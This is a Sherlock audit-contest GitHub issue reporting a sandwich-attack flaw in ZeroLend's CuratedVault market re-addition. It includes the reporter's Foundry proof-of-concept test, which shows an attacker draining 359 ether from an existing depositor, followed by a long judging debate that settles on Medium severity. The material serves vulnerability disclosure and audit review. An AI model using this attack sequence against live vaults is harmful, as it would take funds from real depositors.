search

sherlock-audit / 2024-06-new-scope-judging

1 stars 1 forks source link

0xNirix - Malicious actors can execute sandwich attacks during market addition with existing funds #143

Open sherlock-admin3 opened 2 months ago

sherlock-admin3 commented 2 months ago

0xNirix

High

Malicious actors can execute sandwich attacks during market addition with existing funds

Summary

The immediate addition of assets from a new and re-added market with existing assets in vault's position will cause a significant financial loss for existing vault users as attackers will execute a sandwich attack to profit from the asset-share ratio changes.

Root Cause

The vulnerability stems from the immediate update of total assets when adding or re-adding a market with existing assets in the vault's position. This occurs in the _setCap method called by acceptCap: https://github.com/sherlock-audit/2024-06-new-scope/blob/main/zerolend-one/contracts/core/vaults/CuratedVaultSetters.sol#L85-L105

        withdrawQueue.push(pool);

        if (withdrawQueue.length > MAX_QUEUE_LENGTH) revert CuratedErrorsLib.MaxQueueLengthExceeded();

        marketConfig.enabled = true;

        // Take into account assets of the new market without applying a fee.
        pool.forceUpdateReserve(asset());
        uint256 supplyAssets = pool.supplyAssets(asset(), positionId);
        _updateLastTotalAssets(lastTotalAssets + supplyAssets);

This immediate update to assets is also reflected in the totalAssets() function, which sums the balance of all markets in the withdraw queue https://github.com/sherlock-audit/2024-06-new-scope/blob/main/zerolend-one/contracts/core/vaults/CuratedVault.sol#L368

  function totalAssets() public view override returns (uint256 assets) {
    for (uint256 i; i < withdrawQueue.length; ++i) {
      assets += withdrawQueue[i].getBalanceByPosition(asset(), positionId);
    }
  }

The totalAssets() value is then used in share-to-asset conversions:

 function _accruedFeeShares() internal view returns (uint256 feeShares, uint256 newTotalAssets) {
    newTotalAssets = totalAssets();
    assets = _convertToAssetsWithTotals(shares, totalSupply(), newTotalAssets, MathUpgradeable.Rounding.Up);

This mechanism allows an attacker to observe the acceptCap transaction and execute a sandwich attack:

Deposit assets to receive X shares for Y assets before the market addition. After the market addition increases total assets, withdraw the same X shares to receive Y + Δ assets, where Δ is determined by the new asset-to-share ratio.

Internal pre-conditions

  1. Admin needs to call acceptCap() to add a market
  2. The new/ re-added market needs to have a non-zero supplyAssets value in vault's position

External pre-conditions

No response

Attack Path

  1. Attacker calls deposit() just before a market with existing position for the vault is added
  2. Admin calls acceptCap() to add the market with existing funds for the vault
  3. Assets of the vault are immediately increased by the amount of assets in the position for the added market, as the market is added to the withdraw queue and total assets take into account assets from all markets present in the withdraw queue
  4. Attacker calls withdraw() to remove their recently deposited funds
  5. Attacker receives more assets than initially deposited due to the increased asset to share ratio.

Impact

The existing vault users suffer a loss proportional to the size of the new/ re-added market's assets relative to the total vault assets before the addition. The attacker gains this difference at the expense of other users.

Isn't it impossible to add a market with existing funds? A: No, it's actually possible and even anticipated in two scenarios: Reintegrating a previously removed market with leftover funds, e.g. A market removed due to an issue, but not all funds were withdrawn. Adding a new market that received donations to the vaults position directly via the pool contract.

The contract specifically accounts for these cases by not charging fees on these pre-existing funds, as shown by the comment in the code // Take into account assets of the new market without applying a fee.

Why is this vulnerability critical? A: It's critical because:

PoC

No response

Mitigation

In case of adding a market with existing funds, consider gradual unlocking of assets over a period of time.

nevillehuang commented 1 month ago

request poc

sherlock-admin4 commented 1 month ago

PoC requested from @0xNirix

Requests remaining: 13

0xNirix commented 1 month ago

Thanks. Here is the POC code and result

pragma solidity ^0.8.0;

import './helpers/BaseVaultTest.sol';
import {CuratedErrorsLib, CuratedEventsLib, CuratedVault, PendingUint192} from '../../../../contracts/core/vaults/CuratedVault.sol';
import {CuratedVaultFactory, ICuratedVaultFactory} from '../../../../contracts/core/vaults/CuratedVaultFactory.sol';

uint256 constant TIMELOCK = 1 weeks;

contract CuratedVaultSandwichTest is BaseVaultTest {
    using MathLib for uint256;

    ICuratedVault internal vault;
    ICuratedVaultFactory internal vaultFactory;
    ICuratedVaultFactory.InitVaultParams internal defaultVaultParams;

    address attacker;
    address user;

    function setUp() public {
        _setUpBaseVault();
        _setUpVault();

        attacker = makeAddr("attacker");
        user = makeAddr("user");

        // Setup initial cap for all
        _setCap(allMarkets[0], 600 ether);
        _setCap(allMarkets[1], 600 ether);
        _setCap(allMarkets[2], 600 ether);

        // Set supply queue to use both markets
        IPool[] memory newSupplyQueue = new IPool[](2);
        newSupplyQueue[0] = allMarkets[0];
        newSupplyQueue[1] = allMarkets[1];
        vm.prank(allocator);
        vault.setSupplyQueue(newSupplyQueue);

        // Mint tokens to users
        deal(address(loanToken), user, 1000 ether);
        deal(address(loanToken), attacker, 1000 ether);

        // Approve vault to spend user's tokens
        vm.prank(user);
        loanToken.approve(address(vault), 1000 ether);
        vm.prank(attacker);
        loanToken.approve(address(vault), 1000 ether);
    }

    function _setUpVault() internal {
        // copied from Integration Vault Test
        CuratedVault instance = new CuratedVault();
        vaultFactory = ICuratedVaultFactory(new CuratedVaultFactory(address(instance)));

        // setup the default vault params
        address[] memory admins = new address[](1);
        address[] memory curators = new address[](1);
        address[] memory guardians = new address[](1);
        address[] memory allocators = new address[](1);
        admins[0] = owner;
        curators[0] = curator;
        guardians[0] = guardian;
        allocators[0] = allocator;
        defaultVaultParams = ICuratedVaultFactory.InitVaultParams({
            revokeProxy: true,
            proxyAdmin: owner,
            admins: admins,
            curators: curators,
            guardians: guardians,
            allocators: allocators,
            timelock: 1 weeks,
            asset: address(loanToken),
            name: 'Vault',
            symbol: 'VLT',
            salt: keccak256('salty')
        });

        vault = vaultFactory.createVault(defaultVaultParams);

        vm.startPrank(owner);
        vault.grantCuratorRole(curator);
        vault.grantAllocatorRole(allocator);
        vault.setFeeRecipient(feeRecipient);
        vault.setSkimRecipient(skimRecipient);
        vm.stopPrank();

        _setCap(idleMarket, type(uint184).max);

        loanToken.approve(address(vault), type(uint256).max);
        collateralToken.approve(address(vault), type(uint256).max);

        vm.startPrank(supplier);
        loanToken.approve(address(vault), type(uint256).max);
        collateralToken.approve(address(vault), type(uint256).max);
        vm.stopPrank();

        vm.startPrank(onBehalf);
        loanToken.approve(address(vault), type(uint256).max);
        collateralToken.approve(address(vault), type(uint256).max);
        vm.stopPrank();
    }

    function _setCap(IPool pool, uint256 newCap) internal {
        // largely copied from IntegrationVaultTest.sol

        uint256 cap = vault.config(pool).cap;
        bool isEnabled = vault.config(pool).enabled;

        if (newCap == cap) {
            console.log("New cap is the same as current cap, returning");
            return;
        }

        PendingUint192 memory pendingCap = vault.pendingCap(pool);

        if (pendingCap.validAt == 0 || newCap != pendingCap.value || true) {
            vm.prank(curator);
            vault.submitCap(pool, newCap);
        }

        vm.warp(block.timestamp + vault.timelock());

        if (newCap > 0) {
            vault.acceptCap(pool);
            if (!isEnabled) {
                IPool[] memory newSupplyQueue = new IPool[](vault.supplyQueueLength() + 1);
                for (uint256 k; k < vault.supplyQueueLength(); k++) {
                    newSupplyQueue[k] = vault.supplyQueue(k);
                }
                newSupplyQueue[vault.supplyQueueLength()] = pool;
                vm.prank(allocator);
                vault.setSupplyQueue(newSupplyQueue);
            }
        }
    }

    function testSandwichAttackOnMarketReaddition() public {

        // Initial deposit by a user
        vm.prank(user);
        vault.deposit(800 ether, user);

         // Log state 
        console.log("Total initial assets:", vault.totalAssets()/ 1 ether, "ether");
        console.log("User shares:", vault.balanceOf(user) / 1 ether, "ether");
        console.log("User assets:", vault.convertToAssets(vault.balanceOf(user))/ 1 ether, "ether");

        // First market had to be removed due to issues.
        _setCap(allMarkets[0], 0);
        vm.startPrank(curator);
        vault.submitMarketRemoval(allMarkets[0]);
        vm.stopPrank();

        vm.warp(block.timestamp + vault.timelock() + 1);

        vm.startPrank(allocator);
        uint256[] memory withdrawQueue = new uint256[](3);
        // the index of first market is 1 in withdrawal queue as setup in basevaulttest
        withdrawQueue[0] = 0;
        withdrawQueue[1] = 2;
        withdrawQueue[2] = 3;
        vault.updateWithdrawQueue(withdrawQueue);
        vm.stopPrank();

        // Attacker deposits just before market is re-added
        vm.prank(attacker);
        uint256 attackerShares = vault.deposit(300 ether, attacker);

        console.log("Attacker initial deposit: 300 ether");
        console.log("Attacker shares received: ", attackerShares/ 1 ether, "ether");

        // Re-add the removed market back which had assets
        _setCap(allMarkets[0], 600 ether);

        // Attacker withdraws
        vm.prank(attacker);
        uint256 withdrawnAssets = vault.redeem(attackerShares, attacker, attacker);

        console.log("Attacker assets withdrawn after market readdition: ", withdrawnAssets/ 1 ether, "ether");
        console.log("Attacker profit: ", (withdrawnAssets - 300 ether) / 1 ether, "ether");

        // Check the impact on the user
        uint256 userShares= vault.balanceOf(user);
        uint256 userAssetsAfter = vault.convertToAssets(userShares);

        console.log("After attack, User assets: ", userAssetsAfter/ 1 ether, "ether");
        console.log("After attack, User loss: ", (800 ether - userAssetsAfter)/ 1 ether, "ether");

        // Log final state
        console.log("Total assets after attack:", vault.totalAssets()/ 1 ether, "ether");
    }
}

Log output

Logs: Total initial assets: 800 ether User shares: 800 ether User assets: 800 ether Attacker initial deposit: 300 ether Attacker shares received: 1199 ether Attacker assets withdrawn after market readdition: 659 ether Attacker profit: 359 ether After attack, User assets: 440 ether After attack, User loss: 359 ether Total assets after attack: 440 ether

Explanation:

  1. Initial State:

    • A user deposits 800 ether into the vault.
    • Total assets and user's shares are both 800 ether, indicating a 1:1 ratio of assets to shares.
    • A market with supplied assets had to be removed causing socialized loss for all users.

  2. Attack Preparation:

    • Just before the market with existing funds is re-added, the attacker deposits 300 ether.
    • The attacker receives 1199 shares, which is more than their deposit due to the current asset-to-share ratio.

  3. Market Re-addition:

    • The previously removed market with existing funds is re-added to the vault after resolution of issue.
    • This immediately increases the total assets of the vault without minting new shares.

  4. Attacker's Withdrawal:

    • The attacker quickly withdraws their 1199 shares.
    • Due to the increased total assets, these shares are now worth 659 ether.
    • The attacker profits 359 ether (659 - 300).

  5. Impact on the Original User:

    • The user's 800 shares, which originally represented 800 ether, now only represent 440 ether even though no actual fund is lost as market has recovered.
    • The user has effectively lost 359 ether, which is exactly the amount the attacker gained.
Honour-d-dev commented 1 month ago

Escalate

The report claims this issue is valid due to the following reasons

Isn't it impossible to add a market with existing funds? A: No, it's actually possible and even anticipated in two scenarios: Reintegrating a previously removed market with leftover funds, e.g. A market removed due to an issue, but not all funds were withdrawn. Adding a new market that received donations to the vaults position directly via the pool contract.

The contract specifically accounts for these cases by not charging fees on these pre-existing funds, as shown by the comment in the code // Take into account assets of the new market without applying a fee.

Why is this vulnerability critical? A: It's critical because:

It directly risks funds belonging to existing users which were lost when a market had to be removed with leftover funds. Even donations loss can be considered as a loss for existing users.

I believe this report is invalid for the following reasons

on adding/removing markets with existing funds

on donations

sherlock-admin3 commented 1 month ago

Escalate

The report claims this issue is valid due to the following reasons

Isn't it impossible to add a market with existing funds? A: No, it's actually possible and even anticipated in two scenarios: Reintegrating a previously removed market with leftover funds, e.g. A market removed due to an issue, but not all funds were withdrawn. Adding a new market that received donations to the vaults position directly via the pool contract.

The contract specifically accounts for these cases by not charging fees on these pre-existing funds, as shown by the comment in the code // Take into account assets of the new market without applying a fee.

Why is this vulnerability critical? A: It's critical because:

It directly risks funds belonging to existing users which were lost when a market had to be removed with leftover funds. Even donations loss can be considered as a loss for existing users.

I believe this report is invalid for the following reasons

on adding/removing markets with existing funds

  • There is a reallocate() function for this exact purpose to transfer all funds from a pool before removal, because removing a pool with existing funds will lead to a loss for the depositors.
  • The removal and addition of markets are admin functionalities and we can assume that the admin will follow the right process to prevent losses to users.

on donations

  • Market donations fall under the user mistakes category, as donated funds are lost any ways. Donations can happen regardless of whether a new market is being added or not and a watcher can take advantage of the increase in totalAssets to extract some value , this does not affect existing users negatively as they also benefit from said donations.

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

0xNirix commented 1 month ago

Absolutely, vault allocator will try to withdraw from pools via reallocate before removing a pool. However, it is not possible in all scenarios. There might be a number of reasons for withdrawals to not happen or to be incomplete e.g. complete withdrawal amount not available in pool or any configuration changes by pool managers e.g. freezing the reserves. Pool managers cannot be trusted by vault managers according to README.

There are two set of actors. Actors who manage pools and actors who mange vaults. If an action done by one party causes the other party to suffer losses we'd want to consider that.

The code specifically tries to handle such scenarios further indicating they are completely intentional:

  1. The contract includes mechanisms to remove pools with remaining assets. This is evident in the updateWithdrawQueue function:

        if (pool.supplyShares(asset(), positionId) != 0) {
      if (config[pool].removableAt == 0) revert CuratedErrorsLib.InvalidMarketRemovalNonZeroSupply(pool);
      if (block.timestamp < config[pool].removableAt) {
        revert CuratedErrorsLib.InvalidMarketRemovalTimelockNotElapsed(pool);
      }
    }

    In this code, after timelock expiry (removableAt) pool with assets will be removed.

  2. Furthermore, the contract anticipates potential resolution of pool issues, allowing for the reintegration of previously removed assets. If a pool's problems are resolved in the future, the vault allocator would naturally want to reclaim those assets for the benefit of their vault users. This is why the following code exists to add back the pool's assets to the vault's total assets:

        pool.forceUpdateReserve(asset());
        uint256 supplyAssets = pool.supplyAssets(asset(), positionId);
        _updateLastTotalAssets(lastTotalAssets + supplyAssets);

However, this creates a vulnerability: An attacker can exploit this process to steal a majority of these funds, as demonstrated in the provided Proof of Concept (POC).

cvetanovv commented 4 weeks ago

I believe the main factor that validates this issue is the lack of trust between vault managers and pool managers:

There are two set of actors. Actors who manage pools and actors who mange vaults. If an action done by one party causes the other party to suffer losses we'd want to consider that.

When a pool with remaining assets is removed and later reintegrated, its assets can be exploited and stolen through this vulnerability. The key point is that vault and pool actors do not trust each other, which leaves room for such vulnerabilities.

Planning to reject the escalation and leave the issue as is.

0xjuaan commented 4 weeks ago

Hi @cvetanovv this is an invalid issue because the protocol works exactly how it's meant to.

When removing a pool, the curator should reallocate the assets of the pool into a different pool before removing it. If this correct order is followed, the issue does not arise.

Now the watson has stated in the comments (not the original report) that there are some cases where pool managers are malicious and freeze reserves so reallocation is not possible. In that case, if the pool is malicious, its irrational for curators to add the same pool back after removing it. So again, the issue won't occur.

Furthermore, if they know the freezing is going to be temporary, then they wouldn't remove the funds from the pool in the first place. If they do so, it's incorrect actions by the vault curator causing harm to vault depositors.

0xNirix commented 4 weeks ago

The above comment trying to invalidate the issue is incorrect. In fact, the curator would want to re-add the pool, once pool becomes available again, so as to recover the funds. Moreover, freezing and unfreezing reserves isn't necessarily indicative of malicious behavior; it can be part of normal operational procedures or some requirements (e.g. regulatory) for pool owners.

Honour-d-dev commented 4 weeks ago

@0xNirix Freezing reserves does not prevent withdrawals though, you can check the executeWithdraw and validateWithdraw functions, freeing only prevents supply. So claims relying on freezing are invalid in this case.

If a pool is so compromised that it cannot be withdrawn from, then it doesn't makes sense for it to be added again. If it's a temporary compromise then the pool can just be shifted to be bottom of the withdraw queue (there's a functionality for this), instead of removing and loosing users funds. normal operational procedures (as claimed in the above comment) should not be reason for removing a pool without properly reallocating funds since these are obviously temporary

0xNirix commented 4 weeks ago

If a pool is so compromised that it cannot be withdrawn from, then it doesn't makes sense for it to be added again

My point is that you as a curator still want to add the pool back to recover your funds when (and if) the pool becomes withdraw-able again. You can anyways restrict any new deposit from going to the pool, so you only expect to gain back the funds. Please remember curator does not control pool's manager action and cannot guess whether it is a temporary or permanent change.

Honour-d-dev commented 4 weeks ago

My point is that you as a curator still want to add the pool back to recover your funds when (and if) the pool becomes withdraw-able again.

Pool funds not being withdrawable does not mean it's compromised, and does not require drastic actions (e.g. removal) that risks users funds, lack of liquidity ( due to borrowing) can make a pool temporarily un-withdrawable. In this case the pool can be moved to the bottom of the withdraw queue until it has liquidity.

Vault admins are expected to know this and act rationally

0xNirix commented 3 weeks ago

I think we are going in a bit of circles here, but please allow me to frame the argument again: It does not matter if the pool is compromised or not, or vault curator would be able to ascertain whether it is a temporary or permanent situation (which they can not always due to lack of control on pool owners actions, and vault curators have a limit on pools they can keep around in the withdraw queue). In any case, including the compromised pool case, if and when the vault owner sees an opportunity to get back the funds by re-adding the pool, they must do the re-addition. They would want to withdraw back their funds and can limit any further deposit.

That is precisely why the code exists in the first place in the addition flow, that explicitly adds back the account assets from the pool. There is even a comment saying no fee should be charged from these assets because you do not want to charge a fee on the entire principal that was lost (fees are only charged on interests). This further indicates an intentional and conscious re-addition of funds, where the vulnerability lies.

       // Take into account assets of the new market without applying a fee.
        pool.forceUpdateReserve(asset());
        uint256 supplyAssets = pool.supplyAssets(asset(), positionId);
        _updateLastTotalAssets(lastTotalAssets + supplyAssets);
Honour-d-dev commented 3 weeks ago

My point is that curators can be trusted to not remove pools with user funds unless there is a security risk involved for the vault itself (i.e. vault can be exploited via pool) , in which case the pool cannot be re-added due to said security risk.

Any other inconvenience can be fixed by reallocating the funds before removal or rearranging the withdraw queue.

The code is safely accounting for funds as donations are always possible

0xNirix commented 3 weeks ago

My point is that curators can be trusted to not remove pools with user funds unless there is a security risk involved for the vault itself (i.e. vault can be exploited via pool) , in which case the pool cannot be re-added due to said security risk.

Absolutely my point as well, the re-addition applies to the compromised pools as well. Even if there was a security risk, that may get possibly resolved in future. Pease note the pools can be upgradeable according to Zerolend docs.

Any other inconvenience can be fixed by reallocating the funds before removal or rearranging the withdraw queue.

Incorrect, like I mentioned in my previous comment, vault curators have a limit on pools in the withdraw queue and they may not be able to keep waiting by parking pools in withdraw queue for pool owner to take some action.

The code is safely accounting for funds as donations are always possible

The whole vulnerability is that the code infact fails to safely add funds while re-adding, whether they are donations or past deposits.

Honour-d-dev commented 3 weeks ago

Absolutely my point as well, the re-addition applies to the compromised pools as well. Even if there was a security risk, that may get possibly resolved in future

Can you please provide a valid example of such a "compromise" that would cause a curator to remove a pool and re-added later. I believe you are yet to mention anything specific, besides freezing reserves, which is invalid.

Incorrect, like I mentioned in my previous comment, vault curators have a limit on pools in the withdraw queue and they may not be able to keep waiting by parking pools in withdraw queue for pool owner to take some action.

This situation is very unlikely (even acknowledged by you, previously) that at at best only 1 or 2 pools can be experiencing it at any point in time. "parking pools" is obviously a stretch

0xNirix commented 3 weeks ago

I was merely responding to your previous comment

My point is that curators can be trusted to not remove pools with user funds unless there is a security risk involved for the vault itself (i.e. vault can be exploited via pool) , in which case the pool cannot be re-added due to said security risk.

Even in these cases, you may want to add back the pool when the security risk gets resolved e.g. via upgrade.

This situation is very unlikely (even acknowledged by you, previously) that at at best only 1 or 2 pools can be experiencing it at any point in time. "parking pools" is obviously a stretch

I don't see any of my comment saying this is unlikely. Anyways, even if 1 or 2 pools are impacted, they can still cause this issue if the vault is already running close to the withdraw queue limit which is rather small (30).

At this point of time, I think this exchange is not making progress and converging and we are repeating same set of arguments. Will wait for HoJ to step in.

cvetanovv commented 3 weeks ago

I agree with @0xNirix points.

The re-addition of a pool, even after encountering issues, is possible. Vault curators don’t have control over pool manager actions, so re-adding a previously removed pool when it becomes withdrawable again is also possible.

When pools are removed and then re-added, this vulnerability emerges due to the way assets are immediately accounted for. This means that there is a real edge case for this attack to happen without the curator making a mistake.

Planning to reject the escalation and leave the issue as is.

0xSpearmint commented 2 weeks ago

@cvetanovv This issue is invalid.

The issue requires that the curator removes a pool WITHOUT reallocating all the assets out of it. This makes 0 sense to do since the vault is forfeiting all the depositors assets in that pool. Pools with assets should never be removed temporarily, there is no valid reason to do so.

Even if the pool is somehow compromised, the curator should first try to reallocate any funds out of the pool and then set the cap to 0 to prevent further deposits but still allow withdrawals from that pool.

The report describes a scenario where the vault curator makes a mistake that causes fund loss to vault depositors, which is not a valid issue.

0xNirix commented 2 weeks ago

All the points in above comment have already been discussed in this thread. Please do not repeat arguments just trying to invalidate the issue.

Even if the pool is somehow compromised, the curator should first try to reallocate any funds out of the pool and then set the cap to 0 to prevent further deposits but still allow withdrawals from that pool.

Really? As a curator, you would definitely not want to keep a pool which is compromised (and may have any vulnerability including in the withdrawal path) attached to your vault in any way. In fact, you would remove it right away and see if the pool owner can potentially resolve it and then re-add the pool so that you can get back your funds, once it is safe.

Honour-d-dev commented 2 weeks ago

The reason I believe this issue is invalid is because under current pool and vault implementation there's no valid compromise that would require a pool to be removed without reallocating funds and then re-added later

@0xNirix has not been able to provide a valid situation where such a process is the only solution. The reason for that is obviously because such a situation does not exist and the entire issue is based on a hypothetical unspecified compromise

Of course @0xNirix can provide a plausible example if there is one.

0xNirix commented 2 weeks ago

This is amusing. First you guys yourselves bring up "compromise" scenarios that according to you are feasible but does not apply here, trying to invalidate the issue. The ones where you think it may warrant removal of pool with assets but no re-addition or even no removal in the first place, and when I counter that even in such conditions you may have to remove and re-add, you go back and ask where is the scenario?

Let me clarify for one last time what I have already mentioned clearly in my comments earlier. My stand from day one has been that it is perfectly feasible for a curator to remove pools with assets for both non-compromised or compromised scenarios. One such scenario I had mentioned was when the pool may be non-withdrawable for a long time as no repayments are done. Pool owner may further aggravate this situation by freezing assets so no more deposits can come. Curator does not know if repayments will ever come or if pool owner will ever remove freeze to allow more deposits. They may take a rational decision to write off this bad debt for the moment. This is a standard practice that is done by even physical banks. Why? Because you do not want to impact your new depositors when you know with whatever information you have that part of your assets may not be returned. Otherwise you risk lowering their final yield by socializing old losses with new depositors, eventually discouraging new vault depositors. However, in this particular case, vault has a real limitation that will force curator to remove such pools with assets from the withdraw queue even earlier. This because a vault can only keep limited (up to 30 pools) in its withdraw queue, so if a vault is running near its capacity of 30 pools and even one pool has some issues they may be forced to take such call sooner than later. Now, if the pool owner decides to allow deposits again, curator will see a chance to get their funds back and hence would want to re-add the pool. This is just one scenario but all the compromise scenarios that you thought do not apply but are feasible are actually applicable too and there is real risk of vault losing funds because of this vulnerability in many such scenarios overall.

Will wait for HoJ to take a final call.

Honour-d-dev commented 2 weeks ago

@0xNirix it is your report that first mentions an issue but fails to provide a valid example as we see here

Isn't it impossible to add a market with existing funds? A: No, it's actually possible and even anticipated in two scenarios: Reintegrating a previously removed market with leftover funds, e.g. A market removed due to an issue, but not all funds were withdrawn.

My stand from day one has been that it is perfectly feasible for a curator to remove pools with assets for both non-compromised or compromised scenarios

No rational curator would remove a pool for non-compromised scenarios, this is because users who withdraw before the pool is re-added would definitely suffer a loss and waiting for the pool to be re-added is not an option as they don't know when it'll be added or if it ever will be. Pool removal with leftover funds is a last resort solution due to this reason and should not be taken lightly

One such scenario I had mentioned was when the pool may be non-withdrawable for a long time as no repayments are done. Pool owner may further aggravate this situation by freezing assets so no more deposits can come. Curator does not know if repayments will ever come or if pool owner will ever remove freeze to allow more deposits. They may take a rational decision to write off this bad debt for the moment.

This scenario is invalid, if a pool is non-withdrawable due to lack of funds, even if the pool owner freezes the asset repayments will still be possible because freezing does not affect repayments. In this scenario a rational curator will simply reorder the withdraw queue and wait for those repayments instead of removing the market and costing users their funds.

It is very obvious that currently this issue has no possible scenario, and also obvious that it cannot be medium severity

0xNirix commented 2 weeks ago

@Honour-d-dev, please read my entire comment. I have clearly explained why it may be necessary and rational for a curator to remove a pool rather than simply reorder it.

@cvetanovv, I apologize for this late request, but upon further consideration, I believe this issue should be upgraded to High. The impact of this issue is very similar to issue #233, which was judged high, where a pool owner could maliciously set incorrect interest rates causing withdrawals to revert. Eventually, a curator would reasonably consider such funds lost and remove the pool. They would need to remove such failing pools from their withdrawal queues for the reasons I explained in https://github.com/sherlock-audit/2024-06-new-scope-judging/issues/143#issuecomment-2432814025: to prevent losses to the new depositors and/or due to withdrawal queue limitations. Later, the pool owner could correct the interest rate, and the curator would want to re-add the pool to the vault. However, the pool owner would then execute this attack from a different wallet. The impact would be identical - loss of vault funds that were in the pool, and the pool owner could even claim they have no malicious intent.

Honour-d-dev commented 2 weeks ago

@Honour-d-dev, please read my entire comment. I have clearly explained why it may be necessary and rational for a curator to remove a pool rather than simply reorder it.

I read your comment, I believe the 30 pool limit is not a valid reason either. Reordering to preserve users funds if possible should have more priority over adding new pools. If a pool already has 30 pools in it and one is temporarily non-withdrawable, surely there're 29 other working pools, no?

a pool owner could maliciously set incorrect interest rates causing withdrawals to revert. Eventually, a curator would reasonably consider such funds lost and remove the pool. They would need to remove such failing pools from their withdrawal queues for the reasons I explained in https://github.com/sherlock-audit/2024-06-new-scope-judging/issues/143#issuecomment-2432814025: to prevent losses to the new depositors and/or due to withdrawal queue limitations. Later, the pool owner could correct the interest rate, and the curator would want to re-add the pool to the vault.

This example is also invalid , a rational curator would never re-add a pool with a malicious pool owner that can set incorrect interest rates, whether they choose to correct the rates or not. The security risks are vey obvious from adding such a pool.

@cvetanovv This issue does not even meet medium severity, i think it's obvious at this point that there is no valid scenario where such a thing is the only rational choice, judging by how difficult it is for @0xNirix to provide one.

There are only 2 possible cases here

  1. if a pool/pool admin is malicious and cannot be withdrawn from, it should be removed and never re-added (it makes no sense to re-add a malicious pool even if it appears to be working correctly)
  2. If the pool is not compromised but temporarily non-withdrawable it should be reordered instead of removed ( because removing might still cost some users their funds an i stated here)
0xNirix commented 2 weeks ago

Here we go again in circles!

I read your comment, I believe the 30 pool limit is not a valid reason either. Reordering to preserve users funds if possible should have more priority over adding new pools. If a pool already has 30 pools in it and one is temporarily non-withdrawable, surely there're 29 other working pools, no?

Please stop replying to only part of the argument. I will just repeat - please re-read the entire comment again to see why curator may rationally decide to remove a pool.

This example is also invalid , a rational curator would never re-add a pool with a malicious pool owner that can set incorrect interest rates, whether they choose to correct the rates or not. The security risks are vey obvious from adding such a pool.

Probably repeating this for the nth time as well - how does curator know that pool owner is malicious or simply made a mistake? And even if malicious pool owner, why not, if curator can very well ensure that there is no downside (because no new deposit would go to the pool) and there is only upside (can potentially get funds back).

if a pool/pool admin is malicious and cannot be withdrawn from, it should be removed and never re-added (it makes no sense to re-add a malicious pool even if it appears to be working correctly) If the pool is not compromised but temporarily non-withdrawable it should be reordered instead of removed ( because removing might still cost some users their funds an i stated https://github.com/sherlock-audit/2024-06-new-scope-judging/issues/143#issuecomment-2433201858)

I have given examples for both these cases with clear reasons on how a curator might end up removing and then re-adding pool. It should be pretty obvious that this is an High issue, given other similar judgements.

cvetanovv commented 2 weeks ago

This issue is not High severity. To be High severity, we should not have any restrictions. Only the fact that the attack is only possible with certain curator actions makes this a Medium/Low severity.

The core of the issue lies in the lack of a clear mechanism to prevent sandwich attacks when adding or re-adding pools with existing funds.

There are a few scenarios where re-adding a previously removed pool—either compromised or non-withdrawable due to temporary liquidity constraints. And the curators can’t control pool management actions. Attackers could exploit the updated asset-share ratio post-addition to profit at the expense of existing users.

Given these factors, I agree that this is a valid concern and can be Medium severity.

WangSecurity commented 2 weeks ago

Result: Medium Unique

sherlock-admin4 commented 2 weeks ago

Escalations have been resolved successfully!

Escalation status: